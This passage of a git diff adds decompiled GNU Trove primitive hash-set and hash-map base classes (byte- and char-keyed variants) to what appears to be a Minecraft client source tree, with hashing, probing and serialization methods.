+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TByteDoubleHash.java
new file mode 100644
index 0000000..7c97fbf
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteDoubleHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected double no_entry_value;
+  
+  public TByteDoubleHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TByteDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteDoubleHash(int initialCapacity, float loadFactor, byte no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TByteFloatHash.java
new file mode 100644
index 0000000..925eb89
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteFloatHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected float no_entry_value;
+  
+  public TByteFloatHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TByteFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteFloatHash(int initialCapacity, float loadFactor, byte no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteHash.java b/src/minecraft/gnu/trove/impl/hash/TByteHash.java
new file mode 100644
index 0000000..8805365
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_value;
+  
+  public TByteHash()
+  {
+    no_entry_value = Constants.DEFAULT_BYTE_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_BYTE_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_BYTE_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TByteHash(int initialCapacity, float loadFactor, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte val)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte val)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteIntHash.java b/src/minecraft/gnu/trove/impl/hash/TByteIntHash.java
new file mode 100644
index 0000000..66a39b8
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteIntHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected int no_entry_value;
+  
+  public TByteIntHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TByteIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteIntHash(int initialCapacity, float loadFactor, byte no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteLongHash.java b/src/minecraft/gnu/trove/impl/hash/TByteLongHash.java
new file mode 100644
index 0000000..d62dca1
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteLongHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected long no_entry_value;
+  
+  public TByteLongHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TByteLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteLongHash(int initialCapacity, float loadFactor, byte no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteShortHash.java b/src/minecraft/gnu/trove/impl/hash/TByteShortHash.java
new file mode 100644
index 0000000..63c68d6
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteShortHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteShortHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected short no_entry_value;
+  
+  public TByteShortHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TByteShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteShortHash(int initialCapacity, float loadFactor, byte no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TCharByteHash.java b/src/minecraft/gnu/trove/impl/hash/TCharByteHash.java
new file mode 100644
index 0000000..ee54f91
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TCharByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharByteHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected byte no_entry_value;
+  
+  public TCharByteHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TCharByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharByteHash(int initialCapacity, float loadFactor, char no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
